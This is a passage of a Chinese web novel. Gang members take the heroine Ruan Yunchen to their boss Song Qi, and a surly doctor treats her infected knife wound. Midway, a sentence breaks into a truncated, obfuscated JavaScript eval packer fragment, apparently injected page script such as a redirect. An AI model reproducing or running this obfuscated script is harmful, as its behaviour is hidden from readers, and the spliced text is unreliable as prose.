比如刚才——她问完那句“没事吧”时,那小小的停顿就像一根轻轻悬在空气中的针,等着落下来却又迟迟不肯掉下去。 她在等什么? 阮云琛不知道,也不想知道。 邻居的那些话,程一冉肯定听得清清楚楚——甚至比她还要清楚。 可她却偏偏装不出没听过的模样,脸上的表情总是有些藏不住的东西:一种不知从何而来的别扭善意,像是想递出去一只手,却又怕被人打回来似的。 而她的确被打回来了。 阮云琛一贯的冷漠和拒绝就像是一道看不见的门,轻轻关上了所有试图靠近的脚步。 程一冉却好像不太擅长认清这道门的边界,或者说,她认清了,却又偏偏要试探,伸手摸一摸门的纹路,敲一敲,看它是否真的那么牢不可破。 可是这门不是试探两次就能敲开的。 阮云琛从不觉得她需要这样的善意,尤其是这种太容易就能被击退的善意。 说退就退,像是压根没打算真走到门里来。 她搞不懂程一冉到底想干什么。 是同情?怜悯?好奇?还是纯粹的多管闲事? 阮云琛看着程一冉的背影消失在楼梯口,她在转弯前又犹豫地停下了脚步,回头看了一眼。阮云琛缓缓地舒了口气,肩膀稍稍往后一靠,半边身体隐入楼道的阴影里。 夜风很凉。 阮云琛站在楼道口沉了片刻,手指在墙边的扶手上轻轻按了一下,冰冷的触感让她的指尖泛起一阵微弱的刺痛。她松开手,推开楼道口的铁门,缓缓走了出去。 街道上的人少得可怜,天色已经彻底暗了,只有路灯拉长了地面上的影子。 阮云琛顺着那条路走着,步伐很快,脚下的影子随着她的动作忽长忽短。 她路过桥洞的时候,脚步无意识地慢了一拍。 可很快,她就怔住了。 ——空荡荡的,没有人。 桥洞底下铺着的几张皱巴巴的旧绞丝袋不见了,旁边的饮料瓶也不见了踪影。风吹得那片角落一尘不染,显得格外冷清。 阮云琛的目光在阴影里停留了一秒,飞快地收了回来。 男孩以前也有不在桥下的时候。 可能是拿着废铁去卖了,可能是跑出去找点零工干。阮云琛很快在心里给这个空无的场景找了个解释。 可即便如此,心里还是有种说不上来的感觉,就像是站在楼梯上突然踩空了一节,没摔下去,却也难免怔了一下。 阮云琛站在桥边,手插在外套口袋里,手指攥了攥,最终什么都没说,只是抬步继续往前走。 寒风卷着霜气从桥洞吹过,天色渐渐暗了下来,阮云琛抬头看了一眼隐没在云层后的夕阳,脚步稍稍快了些。 她低头向前走,桥洞的空无还在她脑海中萦绕不去,但她竭力不让自己停下来多想。淼淼还在医院,她必须抓紧时间。 就在她刚要穿过巷口时,身后传来一道刺耳的刹车声。 沉重的轮胎摩擦地面,带着冷风席卷过冬日的街道。声音在阮云琛身后停住的瞬间,空气像是被绷紧的线,紧紧勒在了脖子上。 她的脚步微微一滞,抬起的脚没有落下。寒风贴着地面刮过,耳边的发丝刮到了脸上的伤口,又被伤药膏黏住,难受得紧。 阮云琛缓缓转过头,一辆黑色轿车安静地停在桥洞附近,车身在余晖里泛着冷硬的光。 车门“咔哒”一声打开,传出清脆的金属碰撞声。 一个穿着黑色皮夹克的男人弯腰从车里钻了出来,身后冒出一阵淡淡的烟雾。他抬手掸了掸衣角上的褶皱,懒散地抬起眼,目光精准地落在阮云琛脸上。 “喂,阮云琛。”男人吐出一口烟雾,语气带着点漫不经心的懒散,“老大叫你,走吧。” 她站在原地没动,目光在他脸上停了一秒,然后迅速转向车旁。 另一个男人倚着车门,嘴里叼着一根烟,目光从她脸上的青紫扫到她缩在外套里的身子,似笑非笑。 “怎么,这就吓傻了?”皮夹克男人掏出打火机点燃了一根烟,声音透着懒散的轻蔑,“赶紧的,别磨蹭,老大可没时间陪你耗。” 阮云琛依旧没动,目光在两个人之间快速扫了一圈,又看了一眼车的后座。背后是桥洞的阴影,身前是黑车的投影,她的退路被悄无声息地封死。 寒风从桥洞吹过,像是一张无形的网,慢慢收紧。她手插在口袋里,肩膀微微绷紧了一瞬,随后又缓缓松开。 “现在?”她低哑的声音从喉咙里挤了出来,带着疲惫的冷意。 “废话,不然呢?”叼烟的男人笑了一声,吐出一口白雾,语气懒散得像是早就知道她会问,“还是说,你觉得你有别的选择?” 皮夹克男人抬手掸了掸烟灰,站直身体朝她走了两步,脚步声在空旷的桥下显得格外清晰。 他的鞋底在地面碾出刺耳的声音,像是故意挑衅:“怎么,老大叫你,你还想请假不成?” 阮云琛盯了他们一眼,脸上没有任何表情,目光却在那几个人的站位上扫了一圈。对方似乎也察觉到了她的警觉,故意往前走了两步,挡住了她的去路。 “别装了,老大还等着呢,走吧。”皮夹克的男人冷冷一笑,目光里带着点压迫感,“还能害你不成?” 阮云琛垂下了眼,却没有再说什么。手插进外套口袋里,肩膀稍微一沉,脚步慢慢往那辆车的方向挪去。 她知道反抗没用,也没那个必要。 车里闷热的空气让阮云琛稍稍松了口气,肩膀的疼痛被逐渐升高的体温掩盖了一些。 窗外的街景飞速掠过,路灯将城市的轮廓映成一片模糊的光影,阮云琛坐在后座,目光紧紧盯着窗外,沉默得像是一块石头。 车停在“和安堂”门前时,天已经完全暗了下来。 窗外的霓虹灯一盏接一盏亮了起来,冷白和暗红的光影在车窗上晃动,像是静谧冬夜里埋藏的火焰。 阮云琛坐在车后座,没有动。透过半开的车窗,她看到那块金字牌匾,依旧挂在门头正中,像一把硬冷的刀,钉在这条昏暗的街道尽头。它的边缘沾了一些灰尘,却丝毫不影响它的存在感。车灯的余光扫过时,牌匾上的金色反射出微弱的冷光。 “下车。”坐在前座的皮夹克男人扭头看了她一眼,语气不紧不慢,却带着隐隐的催促。 阮云琛拉开车门,踩在冰凉的水泥地上时,鞋底发出一声轻响。风从大街两侧的建筑缝隙里钻过来,带着冬日的寒意,割在她裸露的皮肤上。 “快点,老大可不喜欢等人。”另一个男人从驾驶座下来,把车门重重甩上,声音在夜风中被压得沉闷。 阮云琛没有回应,只是安静地跟在他们身后,踩上“和安堂”前的台阶。 脚步声在空旷的门廊里响起,像一声声被放大的敲击,撞在四周冰冷的墙壁上。 门口的保镖依旧穿着那件无论什么时候都不会换的黑色大衣,身材魁梧,站在那里像两座石雕,手上夹着一根还未燃尽的烟。 一个保镖转身,伸手推开了那扇厚重的大门。 门轴发出一声低沉的吱呀声,门后的光线涌了出来,把门廊下的人影拉得细长。阮云琛跟在两人身后,肩膀微微绷紧,步伐却依旧沉稳。 大堂里暖气开得很足,空气中夹杂着淡淡的酒味和烟草味,还有一丝不易察觉的霉气。 脚下的地板被打磨得光亮,映出模糊的人影。阮云琛抬起眼,扫过大堂中零星的几张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的眼神不算凌厉,却让人觉得无处躲藏,那种轻慢而随意的态度,比任何直接的压迫都更令人感到窒息。 阮云琛知道,他是在等她开口。 但她没有。 她知道自己不该开口,宋祈的每句话都像是一张网,一旦回应,就会被卷进更深的泥沼。 空气仿佛被抽空了一般安静,只有那股淡淡的酒气在慢慢扩散。 宋祈忽然笑了一声。 “怎么,不会连句话都说不出来了吧?”宋祈的声音又传来,带着一点懒散的调侃,“三天三夜,拿命换了点钱,就准备消失了?你倒是挺有骨气的,这点出息还是我教你的?” 阮云琛深吸了一口气,眼睛盯着地板,像是没听见。他的语调没有提高,但字字都像是在她耳边压低了嗓音说出来,带着某种难以言喻的侵略感。 “你是不是以为,捞了点钱,就能一了百了?”宋祈夹着烟的手稍微抬了一下,手腕微微转动,那根燃了一半的烟在他手指间转了个圈,灰烬轻轻落下,砸在地上发出一声轻微的“嗒”。 空气里只有烟头微弱的红光在一闪一灭,映着他略显模糊的表情。 阮云琛的胃又是一阵抽搐,熟悉的反感夹着深深的厌恶翻涌上来。 她闭了闭眼,脑海里不合时宜地闪过几天前的晚上。 也是这个办公室,也是面对这个男人。 空气里弥漫着同样浓烈的烟草味,宋祈坐在同样的办公桌后头,灯光昏暗,他只是漫不经心地玩弄着手里的烟盒。 “求人啊,不会求?” 阮云琛记得这句话。 她甚至记得那天的空气像一块坚硬的铁板,压在她胸口,让她连喘气都感到费力。 她知道,宋祈是在故意耍弄她。 而她也跪了下来。 阮云琛不想记起来,却又无法抹去。 她没有立刻答话,她只是低下头,肩膀微微绷紧,像是用尽力气才撑住自己不在他的目光下失去平衡。 她深吸了一口气,答非所问:“您......找我什么事?” 宋祈微微一顿,随即似笑非笑地勾起唇角。那笑容浅淡,却带着几分讽刺的味道。他靠在椅背上,像是被她这句话逗乐了,却又分明流露出某种居高临下的轻蔑。 他的眼神扫过阮云琛的脸,最后停在肩膀的伤口上。烟雾随着他的动作缓缓升起,像一张看不见的网,将整个房间的空气压得更加沉闷。 “找你什么事?还真没什么事。”他的语调轻飘飘的,仿佛在开玩笑,“还不是看看你这命还在不在。” 阮云琛抿紧了嘴唇,没说话。 “怎么,不打算解释一下?”宋祈微微挑眉,仿佛她的不回应更让他觉得有趣,“阮云琛,我要是当初没帮你一把,你以为你能站在这儿跟我对话?就你这样——” “我做了什么,您应该一直知道。”她忽然打断了他,声音低得几乎听不见,却像是压下了所有情绪的刀锋。 办公室里一下安静下来。 宋祈眯了眯眼,那夹着烟的手轻轻顿了一下,随后重新靠回椅背,笑了一声,似乎被她的回答取悦了。他指尖的烟头微微一颤,烟灰轻轻落在了地板上。 “知道又怎么样?”他说,语调依旧轻慢,“我只是不明白,你是不是忘了,是谁给了你机会站在这里的?阮云琛,我告诉你,就算你手里捏着那些钱,也别以为命能买两次——” 他的话被一声轻微的“啪”打断。 那是她攥紧口袋时发出的轻响,指尖用力到几乎戳破外套的布料。阮云琛没有抬头,只是直直站在那里,像是在用尽全身力气维持平衡。 “对不起。”她低声说,几乎听不见的三个字。 宋祈忽地笑了。 他笑得烟灰抖落在桌面上,指间的烟头险些脱手。 他一边笑,一边往后靠,转椅发出吱呀的声响,像是随时要散架。门外的保镖听见动静,猛地推开门,带着一脸的警惕和不解。 “没事,滚出去。”宋祈抬了抬手,连看都没看他们一眼,笑意却还挂在脸上,仿佛刚听了什么天大的笑话。 保镖对视了一眼,慢慢退了出去,把门带上了。 房间里重新安静下来,只剩下烟雾缓缓升起的气息和阮云琛的呼吸声。阮云琛站在原地,脸色苍白,肩膀因为疼痛而微微颤抖了一下,却很快又平静下来。 “阮云琛,”宋祈抬起眼,目光像刀一样从她身上扫过,含着笑的语气却透着一股冷意,“你说你啊,是不是活得太有意思了?” 阮云琛没有回应,甚至没有抬头。她的手仍然插在外套口袋里,指尖蜷紧,掌心传来布料粗糙的触感,像是唯一能抓住的东西。 “知道吗,”宋祈忽然开口,声音里带着一种漫不经心的闲聊意味,“我都在想,你是不是过两天就要让我去收尸了。三天三夜不歇,打完拳直接就销声匿迹,阮云琛,你是真的不想活了,还是觉得能跟我耍花样?” 他抬手将烟头随意按在桌上的烟灰缸里,动作慢条斯理,目光却牢牢落在阮云琛身上,像是在玩弄什么可怜的小东西。 阮云琛咬了咬牙,依旧低垂着头不作声。 宋祈忽地站了起来,椅子在地板上拖出一声尖锐的响动。 他绕过桌子,缓步走到她面前,低头俯视着她。阮云琛背后被他的目光压得发紧,却仍然站得笔直,没有退开一步。 “抬头。”他轻声说。 阮云琛没有动。 宋祈的声音陡然沉了几分,像冰敲在玻璃上:“我让你抬头。” 阮云琛这才慢慢抬起脸来,目光仍然直直看着前方,没有与他对上。 宋祈盯了她几秒,忽然冷笑了一声。他转头冲门口一挥手,声音懒散却带着不容置疑的意味:“进来吧。” 门轻轻推开,一个穿着白大褂的男人走了进来,脸上的表情有些不耐烦,手里拎着一个医药箱。他一进门,目光便落在阮云琛身上,皱起了眉。 “这就是你说的‘小问题’?” 30. 免费的午餐 医生的语气里带着明显的不悦:“这伤口不处理,感染了就是大问题。” 医生叫林奇,五十来岁,阮云琛记得他。 那林奇似乎十几年前还是个检察院的法医,后来因为受贿,坐了几年牢——数目不大,就几百块和十来条烟,所以坐了一阵子就出来了。 出来之后,也不知怎得,就开始跟着宋祈了。 宋祈懒得理会林奇的抱怨,只是随意地摆了摆手:“别废话,能治就治,不能治就给她找个坟头躺着,我的人还得干活。” 林奇抬眼瞥了宋祈一眼,嘴唇动了动,像是想说点什么,但最终还是把话咽了下去。 他站在那里,手里握着打开的医药箱,站姿松散,却带着点局促的不自在。 “宋老大,这可不是我挑事儿,”他终于忍不住开口,语气里带着几分刻意压下去的敬畏,“我这儿是治病的地儿,不是收烂摊子的。你要是真让我看这种半死不活的,也得给我点缓冲时间不是?” 宋祈懒懒地抬眼,目光扫过他脸上的皱纹,停留了一秒,随后笑了一声,吐出一口烟雾:“林医生,别跟我说这些有的没的。你既然接了我的钱,就该干你的活。嫌麻烦,那你可以滚,没人拦你。” 林奇抖了一下,低头在箱子里翻东西,动作有点用力,发出一阵“哗啦”声响。 他的态度很微妙——既不敢直接违逆,又透着几分难以掩饰的怨气。宋祈的存在对他来说是一种压迫,就像头顶悬着的一把刀,刀尖虽未落下,但影子总在那里。 “行行行,您说了算。”他甩了一句,弯腰将箱子推到桌面上,掀开盖子,掏出几件工具,头也不抬地对阮云琛说,“你坐下,把外套脱了。” 阮云琛没动,目光从林奇手里的工具扫过,视线微微一凝。 她清楚,这世上没有白吃的午餐,更清楚宋祈不是会无偿施舍的那种人。他的一切安排,从来都有所图,或者说,都是某种博弈。 如果这顿“午餐”能从宋祈嘴里掉下来,那多半不是馅饼,而是钉子。 她的手指无意识地攥了攥外套的边角,沉默片刻,低声问了一句:“多少钱?” 宋祈正夹着烟的手顿了一下,眼尾轻轻挑起,笑意像尖刺一样扎进空气里。他轻描淡写地吐出两个字:“没要你钱。” 阮云琛的眉心微不可察地动了一下,指尖攥紧了外套的布料,像是抓住了某种无形的东西。她低着头,没有立刻回应,胸口仿佛被什么堵住了一瞬,呼吸压得有些喘不过气来。 他在撒谎吗?不,不对。他根本不需要撒谎。 可他为什么会这样说?为什么不收钱?为什么用这种平静到近乎冷漠的语气? 她无法从他的语气里找到答案,也不敢往更深的地方去想。犹豫间,她忍不住抬起眼看了他一眼。 宋祈的笑容淡淡的,落在眼底却没多少温度,那双眼睛如刀锋般掠过她的脸,似乎带着点戏谑,又似乎什么都没有——一如既往。 阮云琛很快又低下头,胸口的堵塞感越发加重,她的喉咙像被什么东西轻轻地攥住了一样,不疼,却让人不舒服。 不对劲。 她觉得一切都不对劲,可又不知道哪里不对劲。 她几乎想不通,忍不住又抬起眼看了他一眼。 宋祈这一次看清了她那细碎而不安的动作,眼角的弧度忽然拉开了一些。他笑了,那笑声轻飘飘的,带着一种若有若无的调侃,“怎么,看得这么仔细,你想说什么?” 阮云琛张了张嘴,却没有发出声音。她垂下眼,肩膀微微一沉,低声说了一句:“没什么。” 宋祈掸了掸烟灰,仿佛被逗乐了,靠在椅背上懒散地看着她,嘴角的笑意更深了一些:“这就对了,老老实实听话,不是挺聪明的嘛。” 他靠懒洋洋地掸了掸烟灰:“信不信随你,就当是你帮我一个忙的回礼。阮云琛,我还是那句话,别让我白养人。” 阮云琛没有再开口。 她垂着眼,手指却无意识地在外套口袋里攥了攥,指节被布料磨得发疼。那点疼痛像是某种提醒,让她的脑子慢慢从麻木中清醒了一些。 阮云琛深吸了一口气,视线落在地面上,盯着那块泛着灰白的瓷砖,像是在逼自己冷静下来。可脑海里却翻滚着不安的念头—— 宋祈的话没有任何多余的情绪,他的“回礼”从来不是无条件的好意。他不会平白无故施恩,更不会对一个他能利用的人动真情实感。 可她现在没有选择。她知道这点,也接受了这点。 肩膀的疼痛一阵阵袭来,像是无形的针刺进骨头,让她的后背渗出冷汗。她的喉咙发干,几次张了张嘴,却始终没能发出一个字。 最终,她抬起头,目光短暂地掠过宋祈的脸,迅速又移开了。 那种被看穿的感觉让她的胃里一阵翻涌,可她努力让自己站直,维持住表面的平静。她知道现在说什么都没有用——宋祈要的不是她的解释,而是她的行动。 沉默了一会儿,她终于动了动手,慢慢地拉开外套的拉链。肩膀上的动作牵扯到伤口时,痛得她不由得皱紧眉,眼前一阵阵发黑。 “怎么,”宋祈的声音再次响起,尾音带着点意味不明的笑意,“还在犹豫?” 阮云琛没回答,只是稍稍顿了一下,继续将外套脱了下来。肩膀外露的一瞬间,凉意和疼痛混合着袭来,她强忍着才没有发出声音。 林奇短促地冷哼了一声,接着就是一声臭骂。 一身酒臭的男人打量了一眼阮云琛的肩膀,目光停在那片红肿的伤口上。伤口的边缘已经翻起,渗着淡黄色的液体,周围的皮肤发红得骇人。 他嘴角一抽,像是见到了什么天大的荒唐事。 “你妈的,这都成什么样了?”他发出一声短促的冷笑,抬起酒精瓶,啪的一声重重放在桌上,几乎把桌上的烟灰震得跳了起来。 “感染了知道不?伤口都化脓了,还反复撕裂过,被脏污带菌,细菌都快长出一窝了!”林奇的声音又高了一些,刺得阮云琛的神经猛地一紧。 他拿起棉签沾了点酒精,随手戳了一下伤口周围红肿的皮肤,冷笑了一声:“疼死你活该。知道再不处理会怎么样吗?再这么拖下去,菌血症、败血症,命留不住!” 阮云琛没有回应,肩膀微微绷紧了一下。 她垂下眼,看着地面,那片狭窄的空间里,除了林奇的咒骂,只有酒精瓶盖被拧开的咔嗒声。 酒精的味道很快弥散开来,冰冷、刺鼻,像一道无形的刀刃,划破了她的意识,让所有的记忆都翻涌了起来。她早就熟悉这种味道,熟悉到几乎能分辨出酒精的纯度和质量。 小时候是阮启明的酒精。 她的伤,他的拳头,他的桌子边总是放着一瓶小半瓶的廉价医用酒精。 他擦完拳头就会转身砸人,那股气味总是伴随着挥舞的拳头和砸裂的皮肉,几乎成了一种下意识的警告。酒精的味道就是疼痛,就是破裂。 后来,是她的酒精。 她没有像样的绷带,没有可靠的药物,只有在街边摊随手买的便宜货。 跟着和安堂的人出去时,总会遇到些不愿意交钱的。 宋祈却从未让她动手。他总是皱着眉,把她推到一边,语气漫不经心却带着不容置疑的冷硬:“收债不是你能干的事,你看着就行。” 美其名曰“学习”。 她从未主动参与,可总有人会找她下手——因为她是看起来最弱的那个。 被打,被捅,划破膝盖,擦伤拳背......还有那些自己看不见的、够不到的、没人帮她处理的地方,她只会拎起那瓶酒精,一口气倒上去。 灼烧感像闪电劈进骨头缝里,疼得她连气都喘不过来。 每次她的身体都下意识地蜷缩成一团,指甲扣在地上或者椅子上,整个人的意识被抽离得只剩一阵阵撕裂般的痛感。 再然后,她会擦擦额头上的冷汗,活动活动手臂,就像没事人一样继续去忙。伤口裂了又合,合了又裂,最后连疤都懒得留下。 这些,淼淼是绝对不会知道的。 阮云琛只告诉过淼淼一件事——她在北边的码头搬箱子,那里有钱赚,搬一天能顶别人干三天。 淼淼当时眼睛一亮,笑着戳了戳她的肩膀,说:“你这么瘦,会不会搬着搬着人掉进箱子里啊?” 阮云琛也跟着笑了,揉了揉淼淼的脑袋,随口说了句:“那估计还得爬上去踩一脚。” 林奇翻找工具的动作带着不耐烦,像是在处理一件早已厌倦的工作。 酒精棉碰上肩膀的时候,火辣辣的痛感立刻将她从那些回忆里拖了出来。林奇的动作不算轻,棉球粗糙地划过皮肤,把伤口旁边的皮肉蹭得生疼。 “别动!”林奇低吼了一声,语气像是在训斥一件坏掉的工具,“你以为我有时间陪你在这儿浪费吗?” 阮云琛闭了闭眼,没出声,肩膀的绷紧却出卖了她的疼痛。 “这都能忍着?”林奇冷哼了一声,低头继续清理伤口,嘴里骂骂咧咧:“一瓶酒精灌上去就完事了是吧?你们这些人,真是拿命不当命。再拖下去,这伤直接废了你知不知道?” 他随手拿起一把剪刀,朝着阮云琛的方向扬了扬,语气粗暴得让人讨厌:“衣服拉高点,这块要彻底清理。” 他说着,又嘟囔了一句,“真服了你们这些人,玩命玩得比谁都凶,真以为命是从天上掉下来的?” 他顿了一下,像是想再说什么,抬起头刚准备冲着宋祈抱怨,却在对上对方的目光时,整个人猛地僵了一下。 宋祈靠在门框上,目光淡淡地落在阮云琛身上,指尖夹着一根点燃的烟,正散出浅浅的青白烟雾。 林奇咽了咽喉咙,嘴边的抱怨一下子没了声。他的手顿了一下,随即又装模作样地认真了几分,低着头把棉球换成纱布。 宋祈忽然笑了一声。 他懒洋洋地靠在椅子上,弹了弹手中的烟灰:“你有什么好抱怨的,林奇?不就是处理个伤口吗,至于这么激动?” 他说得随意,语调里却带着点若有若无的冷意:“啰嗦得像个老头儿。” 林奇的动作僵了一下,手里的棉球啪地丢回盘子里。他转过身,皱着眉看了阮云琛一眼,声音里带着点不耐烦的火气:“瞪着我干什么?你没长手啊?自己过去把床打开,躺上去!” 阮云琛愣了愣,目光下意识地扫了一眼角落里的折叠担架床。那东西布满了划痕和灰尘,看起来像是从哪个废弃仓库里拉出来的,甚至还隐约散发着一股陈旧的金属味道。 她没有立刻动,站在原地沉默了两秒。 身体的疲惫让她的动作变得迟缓,脚步刚向前挪了一点,肩膀的钝痛就猛地刺了一下。她抬手抓住椅背,稳了稳身体。 林奇却皱着眉,冷哼了一声:“我说你这个年纪,就这么点伤,拖拖拉拉地都干不了——” “这点儿活你自己干不得?”宋祈懒散的声音忽然从一旁响起,带着点轻描淡写的冷意。指尖的烟火微微闪了一下,他抬眼看向林奇,嘴角挑起一个意味不明的笑。 林奇嘴巴张了一下,像是要反驳,可宋祈的目光抬了一分,那淡淡的冷意像冰水一样浇了过来,压得他喉咙动了一下,硬是没把话说出来。 他转过头,嘟囔了一句听不清的话,随手拎起担架床,动作粗鲁得像是要把东西砸在地上。 “早晚疼死你也活该。”林奇骂骂咧咧地蹲下身,把那张折叠床拉了出来。 他动作粗鲁,带着点赌气的成分,金属架的腿撞在一起,发出一连串刺耳的咔哒声,手上动作却没停,嘴里也还在不停地嘟囔:“一天天的,伺候谁不是伺候?就我倒了八辈子血霉,给这些人擦屁股。” 阮云琛看了宋祈一眼,又垂下目光,缓缓地坐到了诊疗床上。 林奇低头翻找着器械,不知从哪里摸出一瓶高浓度的烈酒,拧开盖子猛灌了一口,嘴里含糊不清地骂道:“这伤就是被耽误的,什么时候割的?” “几天前,”阮云琛的声音很低,“没时间处理。” “没时间?”林奇抬起头,嗤笑了一声,“那你还真够有时间作死的。刀伤拖到这种地步,想留下条疤是吧?怕是连骨头都感染了。” 他站直了身子,拿起镊子翻了翻伤口周围,动作重得像是故意折磨人。 阮云琛疼得眉头一皱,指尖死死抓住了床边的边沿。冷汗顺着她的额角滑下来,她却咬紧了牙,没有发出声音。 “动作轻点。”宋祈的声音低低传来,却像一把无形的钳子,瞬间攥住了林奇的手腕。他有些不情愿地嘟囔了一句,但还是放慢了动作。 可那种敷衍的态度仍然没改,粗糙的纱布带着酒精擦过伤口边缘,痛得阮云琛手心的冷汗一层一层地往外冒。可她没有吭一声,甚至没有抬头看一眼林奇或宋祈。 她的指尖攥紧了椅子的边缘,骨节发白,连宋祈也看得出来,这点疼痛远比不上她经历过的那些。 “用麻醉吧,”林奇头也没抬,手在旁边的器具堆里摸索着,随意地捏出一只针管。 他的动作不紧不慢,语气却咄咄逼人,“你这伤口都烂成这样了,化脓不说,里面的坏肉一堆,不清了还能长好?下辈子吧。” 他的目光落在阮云琛的肩膀上,表情混杂着习以为常的冷漠和一点按捺不住的职业习惯:“你知不知道这叫拖着?再拖下 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林奇的手顿了一下,拇指停在针管边缘,似乎用力按了一下,又像是没控制好力气,针管晃了晃,险些从他指间滑落。他嘴角抽了一下,目光不自觉地瞥向站在门边的宋祈。 喉结轻轻动了动,他像是想说点什么,嗓子里却只挤出一声微不可闻的短促哼声。他的视线在宋祈的脸上停了一瞬,然后快速移开,像是在斟酌着什么。 片刻后,他又低头看了一眼针管,似乎想用这个动作掩饰什么。 “我说……”林奇张了张嘴,声音在空气里刚刚擦出一点火星,又迅速熄灭。 宋祈的目光悠悠扫了过来,带着几分似笑非笑的意味。只是轻轻一个眼神,却像一把无形的刀刃,将屋子里的空气切得更加安静。 林奇的喉结再度动了一下,仿佛那未说出口的字卡在嗓子里堵住了。他脸上的肌肉微微僵硬了一下,随即重新恢复成一副不耐烦的样子,将针管啪地丢回了托盘里。 “狠,真他妈的狠。”他低声骂了一句,翻出酒精瓶,随手在桌上砸了一下,发出一声脆响,“你们爱怎么搞就怎么搞吧,出了事可别找我。” 他翻出一瓶酒精,啪地扔在了桌上,眼神不爽地瞥了宋祈一眼,随即转身抓起镊子和纱布,粗声粗气地对阮云琛说道,“趴下!别磨蹭!” 阮云琛慢慢抬眼看了他一瞬,然后依旧一声不吭地照做了。 林奇将酒精棉片压上伤口的那一瞬,阮云琛的肩膀猛地一抖,冷汗迅速涌了出来,顺着脸颊蜿蜒而下,滴在担架床的边缘。 她感觉那片刺痛如刀刃刺入皮肉,带着灼烧般的疼痛在神经末梢来回拉扯。 她咬紧牙,像是把所有的力气都压进喉咙里,努力让自己不发出一丝声音。空气被疼痛挤压得越发沉闷,呼吸每一秒都变得更为艰难。 “真够狠的,”林奇嘴里含糊地嘟哝着,低头摆弄着一旁的器具,“皮下血块扩散得这叫一个好看。骨头边上的肌肉组织都撕裂了,你这不是铁打的是啥?” 阮云琛没有回应,她的脸色比刚才更白了几分,汗水打湿了额角的碎发,冷意随着疼痛一波波侵袭而来,让她的身体绷得越发僵硬。 “行了,忍着。”林奇瞥了她一眼,声音里带着不耐,“肩膀化脓都不吭声,现在疼就装不出英雄了吧?” 忍着。 阮云琛听到这两个字时,胸口猛地涌上一股说不出来的情绪,那就像是被针尖挑破的旧伤,流出的不是血,而是压抑太久的酸涩和恼怒。 她的唇紧抿着,舌尖不自觉地顶了下上颚,连一个冷笑都没有露出来。 忍着?她从什么时候开始不懂得这个字的意义了? 寒风割着她的皮肤时,没人叫她忍,可她知道自己不能发抖;拳场上对手的拳头一拳又一拳砸过来时,没人说一句话,可她知道不能倒下—— 忍着。 这两个字像她体内的一根刺,从懂事开始便扎进骨缝里,久到她都忘了疼痛从何而来,也忘了它本该是一种抗拒。 长久的隐忍让这些疼痛像是皮肤的一部分,似乎习惯了,就不再值得计较。 可此刻,她却觉得肩膀上的伤比任何时候都疼,林奇的棉片一碰到伤口,像是点着了埋在血肉深处的火星,每一丝神经都绷紧,仿佛下一秒就会断裂。汗水顺着额角滑下,凉意触到脖颈时,她却感觉不到任何缓解。 “英雄”? 她突然想到这两个字,嘴角微微抽动了一下,似笑非笑,却藏不住冷意。英雄会这么狼狈吗?英雄会在病痛和疲惫里连呻吟都不敢发出吗? 阮云琛从来都不想当英雄。 她甚至不觉得自己是个好人。 一阵刺骨的疼痛从肩膀处再次袭来,像是细小的玻璃碎片磨进了骨头里。她的呼吸短促了一瞬,双眼因为疼痛刺得发红,但下一秒又硬生生逼着自己闭了闭眼。 不要发出声音。 阮云琛告诉自己。 疼痛是没用的东西,声音也是。 “别动!”林奇手上又加了些力气,话却没好气,“再动一下,伤口更撕裂了。” 她忍不住攥紧担架的扶手,指关节泛白,冰冷的触感渗进皮肤,让她的理智稍稍找回一丝平衡。 酒精的气味越来越浓,湿润的棉片再次贴上伤口,瞬间带起一阵钻心的刺痛。 阮云琛身体不由自主地一僵,眼前瞬间一片空白。疼痛像潮水般涌来,将她整个人卷进深海里。 眼前模糊了几秒,阮云琛的意识逐渐下沉,身体放松得有些脱力,像是快要昏过去了。 “别睡。”林奇用镊子敲了敲桌子,发出清脆的声响,像是在提醒她,“我可没时间等你。” 阮云琛费力地睁开眼,视线在模糊中重新聚焦。她的呼吸像被什么堵住了一样急促,手指却僵硬地攥紧了担架床边缘。 “行了,再拖下去,你这胳膊就真废了。”林奇咕哝了一句,放下手中的棉片,转头瞥了一眼站在一旁的宋祈。 宋祈的表情依旧是那副漫不经心的模样,烟雾缭绕间,他的目光并没有落在林奇或者阮云琛身上,而是偏过头,看着墙角的一盏昏暗灯光。嘴角挂着淡淡的笑意,不知道在想什么。 林奇收回视线,低头继续摆弄器具,嘴里骂骂咧咧:“也就是老子有本事,不然这么糟的伤,去外面哪个医院都够你折腾的了。” 阮云琛没力气回应,只是喘着气靠在担架床上,汗湿的额发黏在皮肤上,苍白的脸上只剩一双眼还透着微弱的光。 “听着,”宋祈忽然开口,语气轻描淡写,却又带着不容置疑的寒意,“好好养伤,接下来有个大任务。别再让我看到你这副半死不活的样子。” 31. 消毒水 时间像被搅在酒精瓶的底部,一圈圈旋转,再怎么努力,也看不见尽头。 阮云琛不知道自己在宋祈的办公室待了多久。 疼痛是一层薄薄的雾,将时间切割得零零碎碎,模糊不清。她只是知道,林奇把最后一块纱布压在她肩膀上时,她几乎是咬着牙忍过来的。 寒冷的棉片贴在化脓的伤口上,疼得像一只烧红的钉子硬生生压进了骨头里。林奇咒骂了一句,塞给她一个塑料袋。 “酒精,纱布,抗生素,”他头也没抬,语气里带着惯常的粗暴,“你别再让我看到伤口长成这样,听见没?” 阮云琛低头看了一眼那个袋子,里面的东西零零散散,消毒液的瓶口甚至还沾着一圈干涸的药液。 她没回答,只是抓起袋子,用力攥了一下手指。 宋祈倚在转椅里,嘴角噙着一抹似笑非笑的弧度。 他没有再说话,只是用一种仿佛在打量商品的目光扫过她的肩膀。空气里弥漫着淡淡的烟草味,混杂着药酒和铁锈般的血腥气,压得人几乎喘不过气。 林奇最后丢下几句话:“一日三次,吃药别忘了,消毒不能少。否则你这胳膊废了我可不管。” 阮云琛扯了扯嘴角,没有回应,拎起袋子,脚步沉重地往外走去。 走出和安堂时,天已经完全黑了下来。 门口的霓虹灯亮着,冷冷的红光打在她脸上,像伪装成温暖的嘲讽。她下意识地缩了缩肩膀,提着药袋走下台阶,脚步虚浮得像踩在棉花里。 冷风卷着街道的尘土扑面而来,让她瞬间清醒了一些。 阮云琛低头看了看手里的袋子,塑料袋口微微向下塌陷,里面的药品磕磕绊绊地撞在一起,发出轻微的塑料摩擦声。她忍不住嗤笑了一声,喉咙里带着一点沙哑的冷意。 